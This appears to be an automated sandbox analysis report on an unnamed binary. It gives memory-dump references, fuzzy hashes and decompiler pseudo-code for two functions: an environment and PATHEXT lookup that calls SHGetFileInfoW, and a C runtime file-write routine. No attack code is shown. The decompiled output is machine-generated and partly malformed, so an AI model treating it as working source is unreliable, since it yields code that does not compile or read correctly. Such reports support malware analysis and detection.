Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Library$Load$ErrorFreeLast
String ID:
API String ID: 3813093105-0
Opcode ID: 11fddf9e7ae08532b5839c876b60e1e72144605b5025b9c7e37c2383ff0aaa10
Instruction ID: f40531ef27b73f6f98b5e95e805b8d12b705019d31e8779410cda4aefb8a83e9
Opcode Fuzzy Hash: 11fddf9e7ae08532b5839c876b60e1e72144605b5025b9c7e37c2383ff0aaa10
Instruction Fuzzy Hash: FE0170326052239BC7384B38EC489D6775E9F487707210638F945D7541D731DCC2C6E0

Uniqueness

Uniqueness Score: 0.04%

Function 00057BC0, Relevance: 5.1, APIs: 3, Instructions: 576
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00057BC0(void* __ebx, signed int __ecx, intOrPtr __edx, signed int __edi) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				long _v16;
				char _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				char _v56;
				signed int _v68;
				long _v72;
				char _v80;
				short _v88;
				signed int _v92;
				long _v96;
				short _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				char _v136;
				long _v140;
				long _v144;
				signed int _v148;
				signed int _v152;
				signed int* _v156;
				intOrPtr _v160;
				signed int _v164;
				long _v168;
				WCHAR* _v172;
				char _v176;
				long* _v180;
				signed int _v184;
				char _v188;
				long _v192;
				signed int _v196;
				signed int _v204;
				signed short* _v208;
				intOrPtr _v216;
				char _v220;
				char* _v224;
				intOrPtr _v228;
				signed int _v232;
				long _v236;
				signed int _v268;
				long _v280;
				char _v288;
				intOrPtr _v292;
				char _v296;
				void* __esi;
				void* __ebp;
				signed int _t223;
				signed int _t224;
				WCHAR* _t228;
				void* _t235;
				intOrPtr* _t245;
				long _t247;
				short* _t248;
				signed int _t270;
				signed int _t275;
				signed short* _t286;
				signed int _t292;
				intOrPtr _t304;
				intOrPtr _t313;
				signed int _t323;
				intOrPtr* _t330;
				long _t335;
				signed short _t339;
				intOrPtr _t343;
				long _t349;
				void* _t352;
				long* _t355;
				signed int _t363;
				char _t367;
				long* _t368;
				long _t369;
				signed int _t396;
				intOrPtr _t397;
				signed int _t398;
				signed int _t404;
				intOrPtr _t405;
				signed int _t406;
				signed int _t407;
				signed int _t409;
				void* _t410;
				intOrPtr _t411;
				intOrPtr _t415;
				signed int* _t416;
				signed int _t417;
				signed short _t420;
				signed short _t424;
				void* _t425;
				intOrPtr _t427;
				intOrPtr _t431;
				signed short* _t433;
				signed int* _t436;
				signed short* _t438;
				signed short* _t439;
				signed int _t440;
				intOrPtr _t445;
				signed int _t451;
				signed int _t453;
				void* _t457;
				signed int _t460;
				void* _t461;
				void* _t462;
				signed int _t463;

				_t426 = __edi;
				_push(__ebx);
				_t352 = _t457;
				_t460 = (_t457 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t352 + 4));
				_t451 = _t460;
				_push(0xffffffff);
				_push(0x12d2a7);
				_push( *[fs:0x0]);
				_push(_t352);
				_t461 = _t460 - 0xd0;
				_t223 =  *0x16f170; // 0xd529e887
				_t224 = _t223 ^ _t451;
				_v32 = _t224;
				_push(__edi);
				_push(_t224);
				 *[fs:0x0] =  &_v24;
				_v228 = __edx;
				_v152 = __ecx;
				_v148 = __ecx;
				_v232 = __ecx;
				asm("xorps xmm0, xmm0");
				_v180 =  *((intOrPtr*)(_t352 + 8));
				_v236 = 0;
				asm("movups [ebp-0xa4], xmm0");
				asm("movq [ebp-0x94], xmm0");
				_v16 = 0;
				_t228 = GetEnvironmentStringsW();
				_t355 = 0;
				_v176 =  &M000640B0;
				_t415 = 0;
				_v172 = _t228;
				_v168 = 0;
				_v164 = 0;
				_v160 = 0;
				_v144 = _t228;
				_v196 = 2;
				if( *_t228 != 0) {
					_push( &_v144);
					_push(0);
					while(1) {
						L2:
						E000757F0(_t352,  &_v168);
						_t349 = _v144;
						_t355 = _v164;
						L3:
						while( *_t349 == 0) {
							_t349 = _t349 + 2;
							if( *_t349 != 0) {
								_v144 = _t349;
								if(_v160 == _t355) {
									_push( &_v144);
									_push(_t355);
									goto L2;
								} else {
									 *_t355 = _t349;
									_t355 =  &(_v164[1]);
									_v164 = _t355;
									continue;
								}
							}
							_t415 = _v160;
							goto L10;
						}
						_t349 = _t349 + 2;
						goto L3;
					}
				}
				L10:
				_v140 = 0;
				__eflags = _t415 - _t355;
				if(_t415 == _t355) {
					E000757F0(_t352,  &_v168, _t355,  &_v140);
				} else {
					 *_t355 = 0;
					_v164 =  &(_v164[1]);
				}
				_t436 = _v168;
				_v156 = _t436;
				_v16 = 1;
				_t416 = _t436;
				_v224 = L"PATHEXT";
				__eflags =  *_t436;
				if( *_t436 != 0) {
					do {
						_t416 =  &(_t416[1]);
						__eflags =  *_t416;
					} while ( *_t416 != 0);
				}
				E0006D0F0(_t352,  &_v188, _t416, _t426, _t436,  &_v224, _t436,  &_v176, _t416,  &_v176);
				_t462 = _t461 + 0x14;
				_t235 = E00063DF0(_t352,  &_v188, _t416, _t426, __eflags,  &_v88);
				_v16 = 2;
				E00063F70(_t352, _t235, _t426, _t436,  &_v220);
				_v16 = 4;
				_t417 = _v68;
				__eflags = _t417 - 8;
				if(_t417 < 8) {
					L19:
					_t427 = _v216;
					_v88 = 0;
					_t363 = _t427 - _v220;
					_push(_t363);
					_t419 = 0x2aaaaaab * _t363 >> 0x20 >> 2;
					_v72 = 0;
					_v68 = 7;
					E00064120( &_v208, 1 + ((0x2aaaaaab * _t363 >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * _t363 >> 0x20 >> 2)) * 2);
					_v16 = 5;
					_v140 = 0;
					_t438 =  &(_v208[0xc]);
					_push(_v140);
					_push(_t438);
					_push(_t427);
					_push(_v220);
					_t245 = E0006D330(_t352,  &_v148, _t427, _t438);
					_v140 = 0;
					_push(_v140);
					_push( *_t245);
					_push(_t427);
					_push(_v220);
					E0006D4D0(_t352,  &_v148, _t427, _t438);
					_t367 = _v220;
					_t463 = _t462 + 0x20;
					__eflags = _t367 - _t427;
					if(_t367 == _t427) {
						L29:
						_t439 = _v208;
						_t426 = _v204;
						_v140 = _t439;
						__eflags = _t439 - _t426;
						while(_t439 != _t426) {
							_push(1);
							_v16 = 6;
							_t406 = E000D977E(_t352, _t426, _t439);
							_t463 = _t463 + 4;
							_v184 = _t406;
							_v16 = 7;
							_t424 = _t439;
							__eflags = _t439[0xa] - 8;
							if(__eflags >= 0) {
								_t424 =  *_t439;
							}
							_t433 = _t439;
							_t419 = _t424 + _t439[8] * 2;
							if(__eflags >= 0) {
								_t433 =  *_t439;
							}
							_v148 = 0;
							_v144 = 0;
							__eflags = _t433 - _t419;
							_t323 =  >  ? _v148 : _t419 - _t433 + 1 >> 1;
							_v148 = _t323;
							__eflags = _t323;
							if(_t323 != 0) {
								do {
									_t330 = E00070750(_t352, _t419,  &_v188); // executed
									_t463 = _t463 + 4;
									 *_t433 =  *((intOrPtr*)( *((intOrPtr*)( *_t330 + 0x20))))( *_t433 & 0x0000ffff);
									_t433 =  &(_t433[1]);
									_t335 = _v144 + 1;
									_v144 = _t335;
									__eflags = _t335 - _v148;
								} while (_t335 != _v148);
								_t406 = _v184;
								_t439 = _v140;
							}
							_v16 = 8;
							__eflags = _t406;
							if(_t406 != 0) {
								_t407 =  *((intOrPtr*)( *((intOrPtr*)( *_t406 + 8))))();
								__eflags = _t407;
								if(_t407 != 0) {
									 *((intOrPtr*)( *_t407))(1);
								}
							}
							_v16 = 5;
							_t439 =  &(_t439[0xc]);
							_t426 = _v204;
							_v140 = _t439;
							__eflags = _t439 - _t426;
						}
						_t368 = _v180;
						_t247 =  *_t368;
						_t369 = _t368[1];
						_v140 = _t247;
						_v180 = _t369;
						__eflags = _t247 - _t369;
						if(_t247 == _t369) {
							L52:
							_t248 = _v152;
							 *(_t248 + 0x10) = 0;
							 *(_t248 + 0x14) = 7;
							 *_t248 = 0;
							_v16 = 0xd;
							_push(0);
							_v40 = 0;
							_v56 = 0;
							_v36 = 0xf;
							E00068B90( &_v56, _t419, _t439, 0x15063e);
							_v16 = 0xe;
							_t440 = _v40;
							__eflags = _t440;
							if(_t440 != 0) {
								__eflags = _v36 - 0x10;
								_t430 =  >=  ? _v56 :  &_v56;
								_t426 = ( >=  ? _v56 :  &_v56) + _t440;
								__eflags = _v36 - 0x10;
								_t443 =  >=  ? _v56 :  &_v56;
								_push(L000ABB20(_t352,  &_v56));
								_push(_v152);
								_push(( >=  ? _v56 :  &_v56) + _t440);
								_push( >=  ? _v56 :  &_v56);
								E000AB300(_t352, ( >=  ? _v56 :  &_v56) + _t440,  >=  ? _v56 :  &_v56);
							}
							E00060F60(_t352,  &_v56, _t426);
							E000674C0(_t352,  &_v208, _t426);
							E000674C0(_t352,  &_v220, _t426);
							L00057880(_t352,  &_v176, _t426);
							goto L55;
						} else {
							do {
								E00064650( &_v112, _t419, _t247);
								_v16 = 9;
								E00064650( &_v80, _t419, E000AB7B0(_t352,  &_v112, _t419, _t426, _t439, _v228));
								_v196 = _v196 | 0x00000020;
								_v16 = 5;
								_t419 = _v92;
								__eflags = _t419 - 8;
								if(_t419 < 8) {
									L46:
									_v96 = 0;
									_v92 = 7;
									_v112 = 0;
									_v16 = 0xa;
									_t439 = _v208;
									__eflags = _t439 - _t426;
									while(_t439 != _t426) {
										E00064650( &_v136, _t419, _t439);
										_v16 = 0xb;
										E00064650( &_v56, _t419,  &_v80);
										_v16 = 0xc;
										__eflags = _v116 - 8;
										_t268 =  >=  ? _v136 :  &_v136;
										E0006AE70( &_v56, _t426,  >=  ? _v136 :  &_v136, _v120);
										_t419 =  &_v192;
										_v192 = 0;
										_v188 = 0;
										_v184 = 0x1522a0;
										_t270 = E00055180( &_v56,  &_v192, __eflags); // executed
										__eflags = _v188;
										if(_v188 != 0) {
											goto L50;
										} else {
											__eflags = _t270;
											if(_t270 == 0) {
												goto L50;
											} else {
												__eflags = _v36 - 8;
												_t274 =  >=  ? _v56 :  &_v56;
												_t275 = SHGetFileInfoW( >=  ? _v56 :  &_v56, 0, 0, 0, 0x2000); // executed
												__eflags = _t275;
												if(_t275 != 0) {
													_t439 = _v152;
													_t439[8] = 0;
													_t439[0xa] = 7;
													 *_t439 = 0;
													__eflags = _t439 -  &_v56;
													if(_t439 ==  &_v56) {
														L63:
														E00054B10(_t352,  &_v56, _t426, _t439);
														E00054B10(_t352,  &_v136, _t426, _t439);
														E00054B10(_t352,  &_v80, _t426, _t439);
														E000674C0(_t352,  &_v208, _t426);
														E000674C0(_t352,  &_v220, _t426);
														L00057880(_t352,  &_v176, _t426);
														L55:
														 *[fs:0x0] = _v24;
														__eflags = _v32 ^ _t451;
														return E000ECED8(_v32 ^ _t451);
													} else {
														_t396 = _t439[0xa];
														__eflags = _t396 - 8;
														if(_t396 < 8) {
															L62:
															asm("movups xmm0, [ebp-0x2c]");
															_t439[8] = 0;
															__eflags = 0;
															_t439[0xa] = 7;
															asm("movups [esi], xmm0");
															_v56 = 0;
															asm("movq xmm0, [ebp-0x1c]");
															asm("movq [esi+0x10], xmm0");
															_v40 = 0;
															_v36 = 7;
															goto L63;
														} else {
															_t286 =  *_t439;
															_t397 = 2 + _t396 * 2;
															__eflags = _t397 - 0x1000;
															if(_t397 < 0x1000) {
																L61:
																_push(_t397);
																E000ED2D0(_t286);
																goto L62;
															} else {
																_t420 =  *(_t286 - 4);
																_t397 = _t397 + 0x23;
																__eflags = _t286 - _t420 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L64;
																} else {
																	_t286 = _t420;
																	goto L61;
																}
															}
														}
													}
												} else {
													goto L50;
												}
											}
										}
										goto L72;
										L50:
										E00054B10(_t352,  &_v56, _t426, _t439);
										_v16 = 0xa;
										E00054B10(_t352,  &_v136, _t426, _t439);
										_t439 =  &(_t439[0xc]);
										__eflags = _t439 - _t426;
									}
									goto L51;
								} else {
									_t405 = _v112;
									_t419 = 2 + _t419 * 2;
									_t313 = _t405;
									__eflags = _t419 - 0x1000;
									if(_t419 < 0x1000) {
										L45:
										_push(_t419);
										E000ED2D0(_t405);
										_t463 = _t463 + 8;
										goto L46;
									} else {
										_t397 =  *((intOrPtr*)(_t405 - 4));
										_t420 = _t419 + 0x23;
										__eflags = _t313 - _t397 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L64;
										} else {
											goto L45;
										}
									}
								}
								goto L72;
								L51:
								_v16 = 5;
								E00054B10(_t352,  &_v80, _t426, _t439);
								_t247 = _v140 + 0x18;
								_v140 = _t247;
								__eflags = _t247 - _v180;
							} while (_t247 != _v180);
							goto L52;
						}
					} else {
						_t426 = _t367 - 0x18 + _t438 - _v208;
						__eflags = _t426;
						do {
							__eflags = _t438 - _t426;
							if(_t438 == _t426) {
								goto L28;
							} else {
								_t409 = _t438[0xa];
								__eflags = _t409 - 8;
								if(_t409 < 8) {
									L27:
									_t438[8] = 0;
									__eflags = 0;
									_t438[0xa] = 7;
									 *_t438 = 0;
									asm("movups xmm0, [edi]");
									asm("movups [esi], xmm0");
									asm("movq xmm0, [edi+0x10]");
									asm("movq [esi+0x10], xmm0");
									 *((intOrPtr*)(_t426 + 0x10)) = 0;
									 *(_t426 + 0x14) = 7;
									 *_t426 = 0;
									goto L28;
								} else {
									_t339 =  *_t438;
									_t410 = 2 + _t409 * 2;
									__eflags = _t410 - 0x1000;
									if(_t410 < 0x1000) {
										L26:
										_push(_t410);
										E000ED2D0(_t339);
										_t463 = _t463 + 8;
										goto L27;
									} else {
										_t420 =  *(_t339 - 4);
										_t397 = _t410 + 0x23;
										__eflags = _t339 - _t420 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L64;
										} else {
											_t339 = _t420;
											goto L26;
										}
									}
								}
							}
							goto L72;
							L28:
							_t426 = _t426 + 0x18;
							_t438 =  &(_t438[0xc]);
							__eflags = _t426 - _v216;
						} while (_t426 != _v216);
						goto L29;
					}
				} else {
					_t411 = _v88;
					_t425 = 2 + _t417 * 2;
					_t343 = _t411;
					__eflags = _t425 - 0x1000;
					if(_t425 < 0x1000) {
						L18:
						_push(_t425);
						E000ED2D0(_t411);
						_t462 = _t462 + 8;
						goto L19;
					} else {
						_t397 =  *((intOrPtr*)(_t411 - 4));
						_t420 = _t425 + 0x23;
						__eflags = _t343 - _t397 + 0xfffffffc - 0x1f;
						if(__eflags > 0) {
							L64:
							E0010F44B(_t352, _t397, _t420, _t426, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t451);
							_t453 = _t463;
							_push(0xffffffff);
							_push(0x12d2d8);
							_push( *[fs:0x0]);
							_push(_t397);
							_push(_t439);
							_push(_t426);
							_t292 =  *0x16f170; // 0xd529e887
							_push(_t292 ^ _t453);
							 *[fs:0x0] =  &_v288;
							_t431 = _t397;
							_v292 = _t431;
							_v280 = 0;
							_push( &_v268); // executed
							E00057BC0(_t352, _t397, _t420, _t431); // executed
							_t398 = _v268;
							__eflags = _t398;
							if(_t398 == 0) {
								L69:
								 *[fs:0x0] = _v28;
								return _t431;
							} else {
								_push(_t398);
								E000709A0(_t352, _t398, _v4);
								_t445 = _v8;
								_t423 = 0x2aaaaaab * (_v0 - _t445) >> 0x20 >> 2;
								_t304 = _t445;
								_t404 = (0x2aaaaaab * (_v0 - _t445) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v0 - _t445) >> 0x20 >> 2) + ((0x2aaaaaab * (_v0 - _t445) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v0 - _t445) >> 0x20 >> 2)) * 2 << 3;
								__eflags = _t404 - 0x1000;
								if(_t404 < 0x1000) {
									L68:
									_push(_t404);
									E000ED2D0(_t445);
									goto L69;
								} else {
									_t445 =  *((intOrPtr*)(_t445 - 4));
									_t404 = _t404 + 0x23;
									__eflags = _t304 - _t445 + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										E0010F44B(_t352, _t404, _t423, _t431, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t453);
										_push(_t404);
										_push(_t445);
										E00069FB0(_t352, _t404, _t431, _t404,  &_v296,  *((intOrPtr*)( *_t404)),  *_t404);
										_push(0x40);
										return E000ED2D0( *_t404);
									} else {
										goto L68;
									}
								}
							}
						} else {
							goto L18;
						}
					}
				}
				L72:
			}

0x00057bc0
0x00057bc0
0x00057bc1
0x00057bc9
0x00057bd0
0x00057bd4
0x00057bd6
0x00057bd8
0x00057be3
0x00057be4
0x00057be5
0x00057beb
0x00057bf0
0x00057bf2
0x00057bf6
0x00057bf7
0x00057bfb
0x00057c01
0x00057c09
0x00057c0f
0x00057c15
0x00057c1b
0x00057c21
0x00057c27
0x00057c31
0x00057c38
0x00057c40
0x00057c47
0x00057c4d
0x00057c4f
0x00057c59
0x00057c5b
0x00057c61
0x00057c6b
0x00057c71
0x00057c77
0x00057c7d
0x00057c8a
0x00057c92
0x00057c93
0x00057c94
0x00057c94
0x00057c9a
0x00057c9f
0x00057ca5
0x00000000
0x00057cb0
0x00057cb6
0x00057cbd
0x00057cbf
0x00057ccb
0x00057ce6
0x00057ce7
0x00000000
0x00057ccd
0x00057ccd
0x00057cd5
0x00057cd8
0x00000000
0x00057cd8
0x00057ccb
0x00057cef
0x00000000
0x00057cef
0x00057cea
0x00000000
0x00057cea
0x00057c94
0x00057cf5
0x00057cf5
0x00057cfc
0x00057cfe
0x00057d1a
0x00057d00
0x00057d00
0x00057d06
0x00057d06
0x00057d1f
0x00057d25
0x00057d2b
0x00057d32
0x00057d34
0x00057d3e
0x00057d41
0x00057d43
0x00057d43
0x00057d46
0x00057d46
0x00057d43
0x00057d64
0x00057d69
0x00057d76
0x00057d81
0x00057d88
0x00057d8d
0x00057d91
0x00057d94
0x00057d97
0x00057dcb
0x00057dcb
0x00057dd3
0x00057dd9
0x00057de6
0x00057de7
0x00057df2
0x00057dfe
0x00057e0d
0x00057e12
0x00057e22
0x00057e26
0x00057e29
0x00057e2c
0x00057e2d
0x00057e2e
0x00057e34
0x00057e39
0x00057e43
0x00057e46
0x00057e48
0x00057e49
0x00057e4f
0x00057e54
0x00057e5a
0x00057e5d
0x00057e5f
0x00057eed
0x00057eed
0x00057ef3
0x00057ef9
0x00057efc
0x00057efe
0x00057f04
0x00057f06
0x00057f0f
0x00057f11
0x00057f14
0x00057f1a
0x00057f1e
0x00057f20
0x00057f24
0x00057f26
0x00057f26
0x00057f2b
0x00057f2d
0x00057f30
0x00057f32
0x00057f32
0x00057f36
0x00057f42
0x00057f4f
0x00057f51
0x00057f58
0x00057f5e
0x00057f60
0x00057f62
0x00057f6c
0x00057f73
0x00057f7e
0x00057f81
0x00057f8a
0x00057f8b
0x00057f91
0x00057f91
0x00057f99
0x00057f9f
0x00057f9f
0x00057fa2
0x00057fa6
0x00057fa8
0x00057fb1
0x00057fb3
0x00057fb5
0x00057fbb
0x00057fbb
0x00057fb5
0x00057fbd
0x00057fc1
0x00057fc4
0x00057fca
0x00057fcd
0x00057fcd
0x00057fd5
0x00057fdb
0x00057fdd
0x00057fe0
0x00057fe3
0x00057fe9
0x00057feb
0x0005814f
0x0005814f
0x00058157
0x0005815e
0x00058165
0x00058168
0x0005816c
0x0005816d
0x00058170
0x0005817b
0x00058182
0x00058187
0x0005818b
0x0005818e
0x00058190
0x00058192
0x00058199
0x0005819d
0x0005819f
0x000581a6
0x000581af
0x000581b0
0x000581b6
0x000581b7
0x000581b8
0x000581bd
0x000581c3
0x000581ce
0x000581d9
0x000581e4
0x00000000
0x00057ff1
0x00057ff1
0x00057ff5
0x00058003
0x00058010
0x00058015
0x0005801c
0x00058020
0x00058023
0x00058026
0x0005805a
0x0005805c
0x00058063
0x0005806a
0x0005806e
0x00058072
0x00058078
0x0005807a
0x00058084
0x0005808c
0x00058094
0x00058099
0x000580a0
0x000580aa
0x000580af
0x000580b4
0x000580ba
0x000580c7
0x000580ce
0x000580d8
0x000580dd
0x000580e4
0x00000000
0x000580e6
0x000580e6
0x000580e8
0x00000000
0x000580ea
0x000580ea
0x000580f6
0x00058101
0x00058107
0x00058109
0x0005820d
0x00058215
0x0005821c
0x00058223
0x00058229
0x0005822b
0x00058295
0x00058298
0x000582a0
0x000582a8
0x000582b3
0x000582be
0x000582c9
0x000581ef
0x000581f2
0x000581ff
0x0005820c
0x0005822d
0x0005822d
0x00058230
0x00058233
0x00058266
0x00058266
0x0005826a
0x00058271
0x00058273
0x0005827a
0x0005827d
0x00058281
0x00058286
0x0005828b
0x0005828e
0x00000000
0x00058235
0x00058235
0x00058237
0x0005823e
0x00058244
0x0005825c
0x0005825c
0x0005825e
0x00000000
0x00058246
0x00058246
0x00058249
0x00058251
0x00058254
0x00000000
0x0005825a
0x0005825a
0x00000000
0x0005825a
0x00058254
0x00058244
0x00058233
0x00000000
0x00000000
0x00000000
0x00058109
0x000580e8
0x00000000
0x0005810f
0x00058112
0x0005811a
0x0005811e
0x00058123
0x00058126
0x00058126
0x00000000
0x00058028
0x00058028
0x0005802b
0x00058032
0x00058034
0x0005803a
0x00058050
0x00058050
0x00058052
0x00058057
0x00000000
0x0005803c
0x0005803c
0x0005803f
0x00058047
0x0005804a
0x00000000
0x00000000
0x00000000
0x00000000
0x0005804a
0x0005803a
0x00000000
0x0005812e
0x00058131
0x00058135
0x0005813d
0x00058140
0x00058143
0x00058143
0x00000000
0x00057ff1
0x00057e65
0x00057e70
0x00057e70
0x00057e72
0x00057e72
0x00057e74
0x00000000
0x00057e76
0x00057e76
0x00057e79
0x00057e7c
0x00057eaf
0x00057eaf
0x00057eb6
0x00057eb8
0x00057ebf
0x00057ec2
0x00057ec5
0x00057ec8
0x00057ecd
0x00057ed2
0x00057ed5
0x00057edc
0x00000000
0x00057e7e
0x00057e7e
0x00057e80
0x00057e87
0x00057e8d
0x00057ea5
0x00057ea5
0x00057ea7
0x00057eac
0x00000000
0x00057e8f
0x00057e8f
0x00057e92
0x00057e9a
0x00057e9d
0x00000000
0x00057ea3
0x00057ea3
0x00000000
0x00057ea3
0x00057e9d
0x00057e8d
0x00057e7c
0x00000000
0x00057edf
0x00057edf
0x00057ee2
0x00057ee5
0x00057ee5
0x00000000
0x00057e72
0x00057d99
0x00057d99
0x00057d9c
0x00057da3
0x00057da5
0x00057dab
0x00057dc1
0x00057dc1
0x00057dc3
0x00057dc8
0x00000000
0x00057dad
0x00057dad
0x00057db0
0x00057db8
0x00057dbb
0x000582d5
0x000582d5
0x000582da
0x000582db
0x000582dc
0x000582dd
0x000582de
0x000582df
0x000582e0
0x000582e1
0x000582e3
0x000582e5
0x000582f0
0x000582f1
0x000582f2
0x000582f3
0x000582f4
0x000582fb
0x000582ff
0x00058305
0x00058307
0x0005830d
0x00058314
0x00058315
0x0005831a
0x00058320
0x00058322
0x00058373
0x00058378
0x00058385
0x00058324
0x00058327
0x00058328
0x00058335
0x0005833f
0x0005834c
0x0005834e
0x00058351
0x00058357
0x00058369
0x00058369
0x0005836b
0x00000000
0x00058359
0x00058359
0x0005835c
0x00058364
0x00058367
0x00058386
0x0005838b
0x0005838c
0x0005838d
0x0005838e
0x0005838f
0x00058390
0x00058393
0x00058394
0x000583a0
0x000583a5
0x000583b5
0x00000000
0x00000000
0x00000000
0x00058367
0x00058357
0x00000000
0x00000000
0x00000000
0x00057dbb
0x00057dab
0x00000000

APIs

Part of subcall function 00063F70: FreeEnvironmentStringsW.KERNEL32(?), ref: 000640B6

GetEnvironmentStringsW.KERNEL32 ref: 00057C47

Part of subcall function 00057BC0: GetEnvironmentStringsW.KERNEL32(D529E887,?), ref: 0005798C
Part of subcall function 00057BC0: std::locale::_Init.LIBCPMT ref: 00057F0A
Part of subcall function 00057BC0: SHGetFileInfoW.SHELL32(?,00000000,00000000,00000000,00002000), ref: 00058101

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: EnvironmentStrings$FileFreeInfoInitstd::locale::_
String ID:
API String ID: 2255815837-0
Opcode ID: 7707494fc5a9d818783448bfa52174afe1049431e553e3c26242673a5696bb3d
Instruction ID: 7936bfc5534010b4bb019ceb4650697d587327d581de0d51076ee249c3c7e5da
Opcode Fuzzy Hash: 7707494fc5a9d818783448bfa52174afe1049431e553e3c26242673a5696bb3d
Instruction Fuzzy Hash: 5B328E71D00218CFDB24DF68DC45BDEBBB5BF45304F108199E849A7292DB70AA88CFA1

Uniqueness

Uniqueness Score: 0.99%

Function 0011D3BB, Relevance: 4.7, APIs: 3, Instructions: 186
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0011D3BB(void* __ebx, void* __edi, void* __esi, signed int _a4, void* _a8, signed int _a12) {
				signed int _v8;
				long _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v52;
				signed int _t62;
				intOrPtr _t66;
				signed char _t68;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t74;
				signed int _t77;
				intOrPtr _t79;
				signed int _t87;
				signed int _t90;
				signed int _t106;
				signed int _t107;
				signed int _t110;
				intOrPtr _t112;
				signed int _t117;
				signed int _t119;
				void* _t121;
				signed int _t124;
				signed int _t126;
				signed int _t128;
				void* _t129;

				_t62 =  *0x16f170; // 0xd529e887
				_v8 = _t62 ^ _t128;
				_t110 = _a12;
				_v12 = _t110;
				_t124 = _a4;
				_t121 = _a8;
				_v52 = _t121;
				if(_t110 != 0) {
					__eflags = _t121;
					if(_t121 != 0) {
						_push(__ebx);
						_t106 = _t124 >> 6;
						_t119 = (_t124 & 0x0000003f) * 0x30;
						_v32 = _t106;
						_t66 =  *((intOrPtr*)(0x179eb0 + _t106 * 4));
						_v48 = _t66;
						_v28 = _t119;
						_t107 =  *((intOrPtr*)(_t66 + _t119 + 0x29));
						__eflags = _t107 - 2;
						if(_t107 == 2) {
							L6:
							_t68 =  !_t110;
							__eflags = _t68 & 0x00000001;
							if((_t68 & 0x00000001) != 0) {
								_t66 = _v48;
								L9:
								__eflags =  *(_t66 + _t119 + 0x28) & 0x00000020;
								if(__eflags != 0) {
									E00120CDC(_t124, 0, 0, 2);
									_t129 = _t129 + 0x10;
								}
								_t69 = E0011CF60(_t107, _t119, __eflags, _t124);
								__eflags = _t69;
								if(_t69 == 0) {
									_t112 =  *((intOrPtr*)(0x179eb0 + _v32 * 4));
									_t71 = _v28;
									__eflags =  *(_t112 + _t71 + 0x28) & 0x00000080;
									if(( *(_t112 + _t71 + 0x28) & 0x00000080) == 0) {
										_v24 = 0;
										_v20 = 0;
										_v16 = 0;
										_t73 = WriteFile( *(_t112 + _t71 + 0x18), _t121, _v12,  &_v20, 0);
										__eflags = _t73;
										if(_t73 == 0) {
											_v24 = GetLastError();
										}
										goto L28;
									}
									_t87 = _t107;
									__eflags = _t87;
									if(_t87 == 0) {
										E0011CFD6(_t107, _t121, _t124,  &_v24, _t124, _t121, _v12); // executed
										goto L17;
									}
									_t90 = _t87 - 1;
									__eflags = _t90;
									if(_t90 == 0) {
										_t89 = E0011D1A3(_t107, _t121, _t124,  &_v24, _t124, _t121, _v12);
										goto L17;
									}
									__eflags = _t90 != 1;
									if(_t90 != 1) {
										goto L34;
									}
									_t89 = E0011D0B5(_t107, _t121, _t124,  &_v24, _t124, _t121, _v12);
									goto L17;
								} else {
									__eflags = _t107;
									if(_t107 == 0) {
										_t89 = E0011CD40(_t107, _t121, _t124,  &_v24, _t124, _t121, _v12);
										L17:
										L15:
										L28:
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t74 = _v40;
										__eflags = _t74;
										if(_t74 != 0) {
											__eflags = _t74 - _v36;
											L40:
											L41:
											return E000ECED8(_v8 ^ _t128);
										}
										_t77 = _v44;
										__eflags = _t77;
										if(_t77 == 0) {
											_t121 = _v52;
											L34:
											_t117 = _v28;
											_t79 =  *((intOrPtr*)(0x179eb0 + _v32 * 4));
											__eflags =  *(_t79 + _t117 + 0x28) & 0x00000040;
											if(( *(_t79 + _t117 + 0x28) & 0x00000040) == 0) {
												L37:
												 *((intOrPtr*)(E0010FAC5())) = 0x1c;
												_t81 = E0010FAB2();
												 *_t81 =  *_t81 & 0x00000000;
												__eflags =  *_t81;
												L38:
												goto L40;
											}
											__eflags =  *_t121 - 0x1a;
											if( *_t121 != 0x1a) {
												goto L37;
											}
											goto L40;
										}
										_t126 = 5;
										__eflags = _t77 - _t126;
										if(_t77 != _t126) {
											_t81 = E0010FA8F(_t77);
										} else {
											 *((intOrPtr*)(E0010FAC5())) = 9;
											 *(E0010FAB2()) = _t126;
										}
										goto L38;
									}
									__eflags = _t107 - 1 - 1;
									if(_t107 - 1 > 1) {
										goto L34;
									}
									E0011CEF3( &_v24, _t121, _v12);
									goto L15;
								}
							}
							 *(E0010FAB2()) =  *_t97 & 0x00000000;
							 *((intOrPtr*)(E0010FAC5())) = 0x16;
							_t81 = E0010F43B();
							goto L38;
						}
						__eflags = _t107 - 1;
						if(_t107 != 1) {
							goto L9;
						}
						goto L6;
					}
